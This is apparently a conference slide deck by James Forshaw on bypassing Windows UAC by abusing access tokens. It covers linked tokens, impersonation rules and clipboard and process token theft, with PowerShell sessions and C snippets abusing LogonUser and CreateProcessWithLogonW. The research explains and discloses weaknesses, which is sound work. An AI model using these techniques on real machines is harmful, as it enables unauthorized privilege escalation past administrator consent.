Reading your way around UAC

Abusing Access Tokens for UAC Bypasses

James Forshaw @tiraniddo
What I’m Going to Talk About

- Why Admin-Approval UAC is even worse than you thought!
- Why Over-the-Shoulder UAC is still worse than you thought!

User Account Control

Do you want to allow this app to make changes to your device?

Verified publisher: Microsoft Windows

Show more details

Yes  No
Limited User Logon Session  
Authentication-ID = A-B

Application

AppInfo Service

RPC

Elevated User Logon Session  
Authentication-ID = X-Y

UAC Architecture
Limited User Logon Session
Authentication-ID = A-B

Application
ShellExecute “runas”

AppInfo Service
RPC

Elevated User Logon Session
Authentication-ID = X-Y

UAC Architecture
Limited User Logon Session
Authentication-ID = A-B

Application
ShellExecute "runas"

Limited User Logon Session
Authentication-ID = A-B

Elevated User Logon Session
Authentication-ID = X-Y

RPC

AppInfo Service

consent.exe
Limited User Logon Session
Authentication-ID = A-B

Application
ShellExecute "runas"

Elevated User Logon Session
Authentication-ID = X-Y

Application

AppInfo Service
RPC

UAC Architecture
Linked Tokens
Linked Tokens
### Deny-Only Groups

<table>
<thead>
<tr>
<th>Name</th>
<th>Flags</th>
<th>Groups</th>
<th>Privileges</th>
<th>Default Dac</th>
<th>Misc</th>
<th>Operations</th>
</tr>
</thead>
<tbody>
<tr>
<td>BUILTIN\Administrators</td>
<td>UseForDenyOnly</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>BUILTIN\Performance Log Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>BUILTIN\Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CALCITE\None</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CALCITE\Ssh Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CONSOLE LOGON</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Everyone</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LOCAL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\Authenticated Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\INTERACTIVE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\Local account</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LT AUTHORITY\Local account and member of Administrators group</td>
<td>UseForDenyOnly</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\LogonSessionId_0_392950</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\NTLM Authentication</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\This Organization</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Linked - User CALCITE\admin - TokenId 00000000-0398...

<table>
<thead>
<tr>
<th>Name</th>
<th>Flags</th>
<th>Groups</th>
<th>Privileges</th>
<th>Default Dac</th>
<th>Misc</th>
<th>Operations</th>
</tr>
</thead>
<tbody>
<tr>
<td>BUILTIN\Administrators</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>BUILTIN\Performance Log Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>BUILTIN\Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CALCITE\None</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CALCITE\Ssh Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CONSOLE LOGON</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Everyone</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LOCAL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\Authenticated Users</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\INTERACTIVE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\Local account</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\Local account and member of Administrators group</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\LogonSessionId_0_392950</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\NTLM Authentication</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NT AUTHORITY\This Organization</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Also Fewer Privileges

<table>
<thead>
<tr>
<th>Name</th>
<th>Flags</th>
</tr>
</thead>
<tbody>
<tr>
<td>SetChangeNotifyPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetIncreaseWorkingSetPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetShutdownPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetTimeZonePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetUndockPrivilege</td>
<td>Disabled</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Name</th>
<th>Flags</th>
</tr>
</thead>
<tbody>
<tr>
<td>SetBackupPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetChangeNotifyPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetCreateGlobalPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetCreatePageFilePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetCreateSymbolicLinkPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetDebugPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetDelegateSessionUserImpersonatePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetImpersonatePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetIncreaseBasePriorityPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetIncreaseQuotaPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetIncreaseWorkingSetPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetLoadDriverPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetManageVolumePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetProfileSingleProcessPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetRemoteShutdownPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetRestorePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetSecurityPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetShutdownPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetSystemEnvironmentPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetSystemProfilePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetSystemTimePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetTakeOwnershipPrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetTimeZonePrivilege</td>
<td>Disabled</td>
</tr>
<tr>
<td>SetUndockPrivilege</td>
<td>Disabled</td>
</tr>
</tbody>
</table>
The Problem with UAC

Limited User Logon Session
Authentication-ID = A-B

Non-Admin Application

Current User Registry Hive

Elevated User Logon Session
Authentication-ID = X-Y

Admin Application

User Profile Directory

Desktop and Kernel Objects
The Problem with UAC

- Limited User Logon Session
  Authentication-ID = A-B

- Elevated User Logon Session
  Authentication-ID = X-Y

- Non-Admin Application
- Admin Application

- Current User Registry Hive
- User Profile Directory
- Desktop and Kernel Objects
Kernel Object Login Sid

Non-Admin Token Groups

Admin Token DACL
NtUserGetClipboardToken

Kernel

Win32k

Captured Token

UAC Admin Process

Non-Admin Process

Write to Clipboard
NtUserGetClipboardToken

Kernel

Win32k

Captured Token

UAC Admin Process

Non-Admin Process

NtUserGetClipboardToken
NtUserGetClipboardToken

Kernel

Win32k

Captured Token

UAC Admin Process

Opened for read

Non-Admin Process
Clipboard Token

```
PS C:\> $t = Get-NtToken -Clipboard
PS C:\> $t.Elevated
True
PS C:\> $t.ElevationType
Full
PS C:\> $t.GrantedAccess
AssignPrimary, Duplicate, Impersonate, Query, QuerySource, ReadControl
PS C:\>
```

Read-only access
Creating a New Process

Parent Token

- Process Token
  - Token ID

- Parent Token ID

- Assigned Token

Sibling Token

- Process Token
  - Parent Token ID
  - Auth ID

- Assigned Token
  - Parent Token ID
  - Auth ID

OR
Creating a New Process

Parent Token

Process Token

Parent Token ID

Assigned Token

Sibling Token

Process Token

Parent Token ID

Assigned Token

Parent Token ID

Auth ID

Equal

OR
Impersonating a Token

- Token Level == Identification
- Process has Impersonate Privilege
- Process IL >= Token IL
- Process User == Token User

ALLOWED

Restrict to Identification Level

www.zeronights.org
#zeronights
Impersonating a Token

- Token Level Identification
- Process has Impersonate Privilege
- Process IL \(\geq\) Token IL
- Process User \(==\) Token User

ALLOWED

Restrict to Identification Level
Impersonating a Token

Token Level Identification

Process has Impersonate Privilege

Process IL $\geq$ Token IL

Process User == Token User

ALLOWED

Restrict to Identification Level

www.zeronights.org #zeronights
Impersonating a Token

Token Level Identification

Process HAS Impersonate Privilege

Process IL < Token IL

Process User == Token User

ALLOWED

Restrict to Identification Level
Reduce the Integrity Level

`$t.GrantedAccess AssignPrimary, Duplicate, Impersonate, Query, QuerySource, ReadControl`  
`$t.SetIntegrityLevel("Medium")`  

*Exception calling "SetIntegrityLevel" with "1" argument(s): "(0xC0000022) - {Access Denied} A process has requested access to an object, but has not been granted those access rights." At line:1 char:1*
Reduce the Integrity Level

```powershell
PS C:\> $t.GrantedAccess
AssignPrimary, Duplicate, Impersonate, Query, QuerySource,
, ReadControl
PS C:\> $dup = $t.DuplicateToken()
PS C:\> $dup.GrantedAccess
AssignPrimary, Duplicate, Impersonate, Query, QuerySource,
, AdjustPrivileges, AdjustGroups, AdjustDefault, AdjustSessionId, Delete, ReadControl, WriteDac, WriteOwner
PS C:\> $dup.SetIntegrityLevel("Medium")
```
Impersonating a Token

- Token Level Identification
- Process Has Impersonate Privilege
- Process IL >= Token IL
- Process User == Token User

ALLOWED

Restrict to Identification Level
High IL != Administrator

- Create and modify files in system locations
- Create and modify system services
- Open >= high IL processes for R/W (X)
- Interact with >= high IL Windows (UIPI) (X)
No “God” Privileges

The following are not allowed to be enabled for a Medium IL token.

<table>
<thead>
<tr>
<th>Privilege</th>
<th>Possible Privileged Operations</th>
</tr>
</thead>
<tbody>
<tr>
<td>SeCreateTokenPrivilege</td>
<td>Create new token objects</td>
</tr>
<tr>
<td>SeTcbPrivilege</td>
<td>Many and varied privileged operations</td>
</tr>
<tr>
<td>SeLoadDriverPrivilege</td>
<td>Load a driver into the kernel</td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td>Bypass process/thread security checks</td>
</tr>
<tr>
<td>SeBackupPrivilege</td>
<td>Bypass file/key security checks for read</td>
</tr>
<tr>
<td>SeRestorePrivilege</td>
<td>Bypass file/key security checks for write</td>
</tr>
<tr>
<td>SeImpersonatePrivilege</td>
<td>Impersonate arbitrary users</td>
</tr>
</tbody>
</table>
Stealing Tokens

Windows PowerShell

```powershell
PS C:\> $curr = Get-NtToken -Primary
PS C:\> $curr.Elevated
False
PS C:\> $p = Get-NtProcess -Name "notepad.exe"
PS C:\> $p.GrantedAccess
Terminate, QueryLimitedInformation, Synchronize
PS C:\>
```
OpenProcessToken function

The OpenProcessToken function opens the access token associated with a process.

C++

```cpp
BOOL WINAPI OpenProcessToken(
    _In_ HANDLE ProcessHandle,
    _In_ DWORD DesiredAccess,
    _Out_ PHANDLE TokenHandle
);
```

Parameters

- **ProcessHandle [in]**
  
  A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.

- **DesiredAccess**
  
  A bitwise OR combination of

  - PROCESS_QUERY_INFORMATION
  
  We only have Query Limited Information
Only Limited Information?

```powershell
PS C:\> $curr = Get-NtToken -Primary
PS C:\> $curr.Elevated
False
PS C:\> $p = Get-NtProcess -Name "notepad.exe"
PS C:\> $p.GrantedAccess
Terminate, QueryLimitedInformation, Synchronize
PS C:\> $t = Get-NtToken -Primary -Process $p
PS C:\> $t.Elevated
True
```
Start an Elevated Process?

Standard auto-elevation of specific MS binaries.
Scheduled Tasks

<table>
<thead>
<tr>
<th>General</th>
<th>Triggers</th>
<th>Actions</th>
<th>Conditions</th>
<th>Settings</th>
<th>History</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name:</td>
<td>SilentCleanup</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Location:</td>
<td>Microsoft\Windows\DiskCleanup</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Author:</td>
<td>Microsoft Corporation</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Description:</td>
<td>Maintenance task used by the system to launch a silent auto disk cleanup when running low on free disk space.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Security options

When running the task, use the following user account:

- **Users**
  - Run only when user is logged on
  - Run whether user is logged on or not
  - Do not store password. The task will only have
  - **Run with highest privileges**

If set will spawn elevated process with no UAC prompt.
DEMO
Changes in Windows 10

- Token Level == Identification
- Process has Impersonate Privilege
- Process IL >= Token IL

Capability Check
- Process User == Token User

Elevation Check
- Restrict to Identification Level

ALLOWED
Elevation Checks

```c
if (SeTokenIsElevated(ImpersonationToken)) {
    if (!SeTokenIsElevated(ProcessToken) ||
        ProcessToken->LogonSession->Flags.UacSession) {
        return STATUS_PRIVILEGE_NOT_HELD;
    }
}

// Continue with impersonation check.
```
What Makes a Token Elevated?

- Has “God” privileges or certain elevated groups

```c
BOOLEAN RtlIsElevatedRid(SID_AND_ATTRIBUTES *sid_and_attr) {
    DWORD last_rid = GetLastRid(sid_and_attr->Sid);
    DWORD check_rids[] = { 512, 544, ... };
    for(int i = 0; i < countof(check_rids); ++i) {
        if (check_rids[i] == last_rid) {
            return TRUE;
        }
    }
    return FALSE;
}
```

For example:

```
BUILTIN\Administrators == S-1-5-32-544
```
Use NtFilterToken

PS C:\> $dup.Elevated
True
PS C:\> $dup.AuthenticationId.ToString()
00000000-005322EF
PS C:\> $f = Get-NtFilteredToken $dup -Flags LuaToken
PS C:\> $f.Elevated
False
PS C:\> $f.AuthenticationId.ToString()
00000000-005322EF
Use Non-God Privileges

<table>
<thead>
<tr>
<th>Privilege</th>
<th>Possible Privileged Operations</th>
</tr>
</thead>
<tbody>
<tr>
<td>SeCreateGlobalPrivilege</td>
<td>Create new sections in global BNO directory</td>
</tr>
<tr>
<td>SeCreatePageFilePrivilege</td>
<td>Create or modify page/hibernation files</td>
</tr>
<tr>
<td>SeCreateSymbolicLinkPrivilege</td>
<td>Create arbitrary NTFS symbolic links</td>
</tr>
<tr>
<td>SeManageVolumePrivilege</td>
<td>Mount/Unmount volumes including VHDs</td>
</tr>
<tr>
<td>SeSecurityPrivilege</td>
<td>Modify SACL entries</td>
</tr>
<tr>
<td>SeSystemEnvironmentPrivilege</td>
<td>Modify UEFI boot variables</td>
</tr>
</tbody>
</table>
Bouncing to Elevated Session

Limited User Logon Session
Authentication-ID = A-B
Flags = UacSession

Application
Impersonate Non-Admin Token

WMI
Win32_Process

Elevated User Logon Session
Authentication-ID = X-Y
Flags = None

Non-Admin Application
Impersonate Admin Token
DEMO
LogonUser New Credentials

Limited User Logon Session
Authentication-ID = A-B

Application
- Impersonate Non-Elevated Token
- Elevated Token

Elevated User Logon Session
Authentication-ID = X-Y

LSASS
- LogonUser

// Clone token with new credentials.
LogonUser("Badger",
"Badger",
"Badger",
LOGON32_LOGON_NEW_CREDENTIALS,
&Token);
Abuse Secondary Logon

ImpersonateLoggedOnUser(hNonElevatedToken);

CreateProcessWithLogonW(
    "Badger", "Badger", "Badger",
    LOGON_NETCREDENTIALS_ONLY
    NULL, L"cmd.exe", &proc_info);

Equivalent to
LOGON32_LOGON_NEW_CREDENTIALS
Over-The-Shoulder Elevation

User Account Control

Do you want to allow this app to make changes to your device?

Verified publisher: Microsoft Windows

Show more details
To continue, enter an admin user name and password.

password

Domain: badgers

Yes  No
Separation of Resources

- Normal User Logon Session
  Authentication-ID = A-B
  - Non-Admin Application
  - Normal User Registry Hive
  - User Profile Directory
  - Desktop and Kernel Objects

- Elevated User Logon Session
  Authentication-ID = X-Y
  - Admin User Registry Hive
  - Admin Profile Directory
  - Admin Application

- Non-Admin Application for Admin User
  - Admin Profile Directory
  - Desktop and Kernel Objects

Impersonating an OTS Token

- **Token Level Identification**: Not allowed.
- **Process has Impersonate Privilege**: Not allowed.
- **Process IL >= Token IL**: Allowed.
- **Process User == Token User**: Not allowed.

**Restrict to Identification Level**
Impersonating an OTS Token

- Token Level Identification
- Process has Impersonate Privilege
- Process IL ≥ Token IL
- Process User == Token User
- Restrict to Identification Level

ALLOWED
```c
BOOLEAN SepIsImpersonationAllowedDueToCapability(PTOKEN token, PTOKEN imp_token) {
    if ((token->SessionId != imp_token->SessionId) ||
        (token->TokenFlags & TOKEN_FLAGS_LOWBOX) == 0) ||
        (imp_token->TokenFlags & TOKEN_FLAGS_LOWBOX) == 0)) {
        return FALSE;
    }

    if (!SepSidInTokenSidHash(&token->CapabilitiesHash, SeConstrainedImpersonationCapabilitySid) ||
        !SepCheckCapabilities(token, imp_token->Capabilities) ||
        !RtlEqualSid(token->Package, imp_token->Package)) {
        return FALSE;
    }

    return TRUE;
}
```

Tokens must be in same Session and both be LowBox.

Process token must have impersonation capability, and be in same package.
Enterprise Authentication

SECURITY_CAPABILITY_ENTERPRISE_AUTHENTICATION

(0x00000008L)

An account has access to the default Windows credentials.
DEMO
Is Anything Safe?

Hit CTRL+ALT+DEL and click Switch user.
Conclusions

- Admin-Approval UAC is broken
- Over-the-shoulder UAC is pretty broken on Windows 10
- Best chance you have is fast-user switching
  - Don’t switch using Explorer, always use the secure attention sequence
Thanks

Any Questions?